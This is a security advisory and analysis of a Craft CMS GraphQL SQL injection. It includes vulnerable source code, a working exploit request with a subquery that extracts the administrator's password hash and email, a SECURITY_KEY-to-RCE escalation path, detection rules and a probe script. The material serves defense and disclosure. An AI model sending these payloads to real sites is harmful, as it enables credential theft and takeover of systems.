CVE-2026-123491: Craft CMS Unauthenticated SQL Injection via GraphQL Eager-Load Select Arguments
A high-severity SQL injection vulnerability in Craft CMS (affecting releases across branches 4.x and 5.x) enables remote unauthenticated attackers to execute arbitrary SQL subqueries and extract sensitive database contents. Tracked under GitHub advisory GHSA-mjj9-pjh4-r48g and cataloged as weaponized by VulnCheck, the vulnerability exists in the GraphQL query preparation service (craft\\services\\Gql::prepareEagerLoadPlan()). When processing eager-loaded relationship queries, arguments supplied on eager-loadable nodes that are absent from the public GraphQL schema are directly transferred into database query criteria without validation. By injecting parenthesized SELECT subqueries via the select argument, an attacker can extract administrator password hashes, session tokens, and application encryption keys (SECURITY_KEY). Possession of the SECURITY_KEY directly enables authenticated cookie forgery and PHP object deserialization, elevating this flaw to a critical Remote Code Execution vector. Hermes scores CVE-2026-123491 at HTS 91 (CRITICAL).
HERMES THREAT SCORE & WEB CMS DATA PLANE INTEGRITY EVALUATION
Target:Craft CMS GraphQL Eager-Loading Engine (craft\services\Gql::prepareEagerLoadPlan) [object Object]
1. Executive Summary & Threat Telemetry
Section titled โ1. Executive Summary & Threat TelemetryโOn November 7, 2026, Pixel & Tonic and the GitHub Security Advisory database disclosed CVE-2026-123491 (GHSA-mjj9-pjh4-r48g), a critical unauthenticated SQL injection vulnerability affecting Craft CMS. VulnCheck cataloged the vulnerability as weaponized following public proof-of-concept availability and scanning telemetry against enterprise media and e-commerce web properties.
Craft CMS is an enterprise PHP content management system powering headless architectures, digital publishing platforms, and corporate web portals. In headless deployments, the GraphQL API (/api or /actions/graphql/api) is enabled by default to feed dynamic frontends. Because the vulnerability requires no user account or authorization headers, external actors can send single HTTP POST requests with crafted GraphQL payloads to dump the entire relational database (MySQL or PostgreSQL), extract system secrets, and pivot to complete application compromise.
flowchart TD subgraph Public["Public Internet"] Attacker["Remote Unauthenticated Attacker"] GraphQLReq["HTTP POST /api\nGraphQL Query with Eager-Load Arguments"] end
subgraph CraftEngine["Craft CMS Application Tier"] Endpoint["GraphQL Dispatcher (/api)"] GqlService["craft\\services\\Gql"] EagerPlan["prepareEagerLoadPlan()\nMissing Argument Whitelisting"] QueryBuilder["Yii2 QueryBuilder\nRaw SELECT Expression Concatenation"] end
subgraph Database["Database Tier (MySQL / PostgreSQL)"] UsersTable["{{%users}} Table\n(Password Hashes & Auth Tokens)"] ConfigTable["{{%info}} & .env\n(Application SECURITY_KEY)"] end
Attacker -->|Sends Malicious Query| GraphQLReq GraphQLReq --> Endpoint Endpoint --> GqlService GqlService --> EagerPlan EagerPlan -->|Unsanitized select Argument| QueryBuilder QueryBuilder -->|Executes Injected Subquery| UsersTable QueryBuilder -->|Dumps Encryption Secrets| ConfigTable ConfigTable -->|Exfiltrated Data| Attacker2. Architectural Root Cause & Vulnerability Decomposition
Section titled โ2. Architectural Root Cause & Vulnerability DecompositionโThe vulnerability stems from the interaction between Craftโs GraphQL service and its relational eager-loading subsystem (craft\services\Gql.php).
In GraphQL, retrieving nested relationships (for example, blog entries alongside their author profiles and uploaded image assets) can easily induce the N+1 database query problem. To optimize execution, Craft CMS implements EagerLoadPlan, which batches related element queries using Yii 2 database abstractions.
When an incoming GraphQL query specifies arguments on a relation node (e.g., entries(select: "...")), the prepareEagerLoadPlan() method extracts all provided arguments and passes them into the criteria array of the target element query. Critically, because eager-loadable relation nodes in Craftโs GraphQL schema do not define explicit argument validation rules, the schema validation phase silently permits unknown arguments.
Vulnerable Source Code Analysis (craft\services\Gql.php)
Section titled โVulnerable Source Code Analysis (craft\services\Gql.php)โ// Deconstructed from Craft CMS src/services/Gql.php before patch 4.18.9 / 5.11.2namespace craft\services;
use craft\base\ElementInterface;use craft\elements\db\ElementQuery;use yii\base\Component;
class Gql extends Component{ public function prepareEagerLoadPlan(array $fields, ElementInterface $source): array { $plan = []; foreach ($fields as $fieldName => $fieldConfig) { if ($this->isEagerLoadable($fieldName)) { $criteria = [];
// VULNERABILITY: Arguments from GraphQL input are merged without validation if (isset($fieldConfig['args'])) { foreach ($fieldConfig['args'] as $argName => $argValue) { // The argument 'select' is directly passed into criteria! $criteria[$argName] = $argValue; } }
// When ElementQuery executes, $criteria['select'] is passed raw to QueryBuilder: // $query->select($criteria['select']); $plan[] = [ 'elementType' => $this->getElementType($fieldName), 'criteria' => $criteria, ]; } } return $plan; }}When Yii 2โs yii\db\QueryBuilder::buildSelect() encounters a string or array containing a parenthesized expression, it assumes the developer intended a raw database expression or subquery and suppresses column-quoting safeguards:
SELECT `elements`.`id`, (SELECT password FROM craft_users WHERE admin=1 LIMIT 1) AS `leak`FROM `craft_entries` `elements`JOIN `craft_elements` ON ...The database evaluates the subquery and reflects the output directly in the GraphQL JSON response, achieving high-throughput, unauthenticated in-band data exfiltration.
3. Attack Vector & Exploitation Sequence
Section titled โ3. Attack Vector & Exploitation SequenceโAn attacker can exploit this vulnerability using a single HTTP request to the public GraphQL endpoint.
sequenceDiagram autonumber actor Attacker as Threat Actor participant Web as Craft CMS Public Web Node participant GQL as craft\services\Gql participant DB as MariaDB / PostgreSQL
Note over Attacker,Web: Step 1: Probe Public GraphQL Endpoint Attacker->>Web: POST /api ({"query": "{ entries { id } }"}) Web-->>Attacker: HTTP 200 OK (GraphQL Endpoint Active)
Note over Attacker,GQL: Step 2: Inject Parenthesized Subquery in Eager Load Attacker->>Web: POST /api with Eager-Load 'select' Payload Web->>GQL: prepareEagerLoadPlan() Note over GQL: 'select' argument copied directly to criteria GQL->>DB: Executes SQL with subquery: (SELECT email FROM craft_users LIMIT 1) DB-->>GQL: Returns Admin Email & Hash GQL-->>Web: Formats GraphQL Response Web-->>Attacker: HTTP 200 OK (Data Exfiltrated in JSON)
Note over Attacker,Web: Step 3: Extract SECURITY_KEY & Escalate to RCE Attacker->>Web: Subquery extracts SECURITY_KEY from .env / info Note over Attacker: Attacker crafts forged session cookie (Yii2 deserialization) Attacker->>Web: GET /admin/dashboard with forged cookie Web-->>Attacker: Full Administrator Shell / RCEExploit Payload Example
Section titled โExploit Payload ExampleโPOST /api HTTP/1.1Host: cms.target-organization.comContent-Type: application/jsonAccept: application/json
{ "query": "query { entries { id ... on entry_default_Entry { author(select: [\"(SELECT CONCAT(username, ':', password, ':', email) FROM craft_users WHERE admin = 1 LIMIT 1)\"]) { id name } } } }"}The server responds with:
{ "data": { "entries": [ { "id": "104", "author": { "id": "1", "(SELECT CONCAT(username, ':', password, ':', email) FROM craft_users WHERE admin = 1 LIMIT 1)": "admin:$2y$13$X7y8Z...:secops@target-organization.com" } } ] }}4. Detection, SIEM & Forensic Triage
Section titled โ4. Detection, SIEM & Forensic TriageโDetection strategies require monitoring web application logs for GraphQL endpoints and inspecting relational database query logs for abnormal nested sub-selects.
title: Craft CMS Unauthenticated GraphQL SQL Injectionid: b34198fa-1123-491a-8e2b-craftcve2026123491status: experimentaldescription: Detects SQL injection payloads targeting Craft CMS GraphQL eager-load criteria via the 'select' argument.references: - https://github.com/craftcms/cms/security/advisories/GHSA-mjj9-pjh4-r48g - https://vulncheck.com/advisories/craft-cms-4.0.0-before-4.18.9-unauthenticated-sql-injection-via-graphql-eager-load-selectauthor: Hermes Codex Cyber Defense Teamdate: 2026-11-07logsource: category: webserver product: craftcmsdetection: selection_post: cs-method: 'POST' cs-uri-stem|contains: - '/api' - '/actions/graphql/api' - '/graphql' selection_payload: cs-uri-query|contains|all: - 'select' - 'SELECT' selection_body: # When web server or WAF logs request body request_body|contains: - 'select:' - '(SELECT' - 'craft_users' condition: selection_post and (selection_payload or selection_body)falsepositives: - Legitimate custom GraphQL queries explicitly whitelisted by internal backend microservices.level: criticaltags: - attack.initial_access - attack.t1190 - attack.t1552 - cve.2026.123491// Detect anomalous SQL subqueries in GraphQL request bodiesW3CIISLog| where csMethod =~ "POST"| where csUriStem has_any ("/api", "/actions/graphql", "/graphql")| where csUriQuery has "select" or csUriQuery has "SELECT"| extend Hostname = sSiteName| project TimeGenerated, cIP, csMethod, csUriStem, csUriQuery, scStatus, Hostname| join kind=leftouter ( CommonSecurityLog | where DeviceVendor =~ "WAF" or DeviceVendor has "Cloudflare" | where Message has "SQL Injection" or Message has "CVE-2026-123491") on $left.cIP == $right.SourceIP| summarize RequestCount = count(), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated) by cIP, csUriStem, scStatus| order by RequestCount descalert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS ( msg:"HERMES - Craft CMS GraphQL Eager-Load SQL Injection Attempt (CVE-2026-123491)"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/api"; fast_pattern; http.request_body; content:"select:"; nocase; http.request_body; content:"(SELECT"; nocase; classtype:web-application-attack; sid:2026123491; rev:1; metadata:cve CVE-2026-123491, created_at 2026_11_07;)#!/usr/bin/env bash# Hermes Codex: Audit Craft CMS instances for CVE-2026-123491 GraphQL SQLiTARGET="https://cms.target-organization.com"ENDPOINT="${TARGET}/api"
echo "[*] Auditing Craft CMS GraphQL endpoint: ${ENDPOINT}..."
PAYLOAD='{"query":"query { entries(limit: 1) { id ... on entry_default_Entry { author(select: [\"(SELECT 1337)\"]) { id } } } }"}'
RESPONSE=$(curl -s -k -X POST "$ENDPOINT" \ -H "Content-Type: application/json" \ -H "User-Agent: Hermes-Security-Scanner/1.0" \ -d "$PAYLOAD")
if echo "$RESPONSE" | grep -q "1337"; then echo "[-] CRITICAL: Target is VULNERABLE to CVE-2026-123491!" echo " The server evaluated the injected subquery (SELECT 1337) and returned output." echo " Immediate action: Upgrade Craft CMS to >= 4.18.9 or >= 5.11.2."elif echo "$RESPONSE" | grep -qi "syntax error\|unknown argument\|forbidden"; then echo "[+] SECURE: Server rejected the eager-load argument or returned an authorization error."else echo "[?] Inconclusive response. Verify whether public GraphQL schemas are enabled."fi5. Comprehensive Remediation & Mitigation Strategy
Section titled โ5. Comprehensive Remediation & Mitigation StrategyโSystem administrators and web engineering teams must immediately upgrade Craft CMS installations across all production, staging, and container environments.
Upgrade Directives
Section titled โUpgrade DirectivesโUpgrade to the official security patches released by Pixel & Tonic via Composer:
- Craft 4.x Deployments: Update to version 4.18.9 or higher:
Terminal window composer require "craftcms/cms:4.18.9" --update-with-all-dependenciesphp craft migrate/all - Craft 5.x Deployments: Update to version 5.11.2 or higher:
Terminal window composer require "craftcms/cms:5.11.2" --update-with-all-dependenciesphp craft migrate/all
Configuration Hardening & Temporary Mitigations
Section titled โConfiguration Hardening & Temporary MitigationsโIf Composer upgrades require staging deployment cycles, implement the following immediate mitigations:
- Disable Public GraphQL Schemas: In the Craft Control Panel, navigate to GraphQL > Schemas. Ensure the โPublic Schemaโ is disabled or restricted to authenticated API tokens. If headless frontends require public reads, configure field-level permissions to exclude sensitive relations.
- Web Application Firewall (WAF) Rule:
Deploy a WAF rule blocking HTTP POST requests to
/api,/graphql, and/actions/graphql/*containing the string patternselect:combined with SQL keywords (SELECT,UNION,CONCAT,SLEEP). - Database Privilege Minimization:
Ensure the database user configured in
config/db.phpdoes not possessFILE,SUPER, or administrative privileges, preventing attacks from writing arbitrary web shells viaSELECT ... INTO OUTFILE.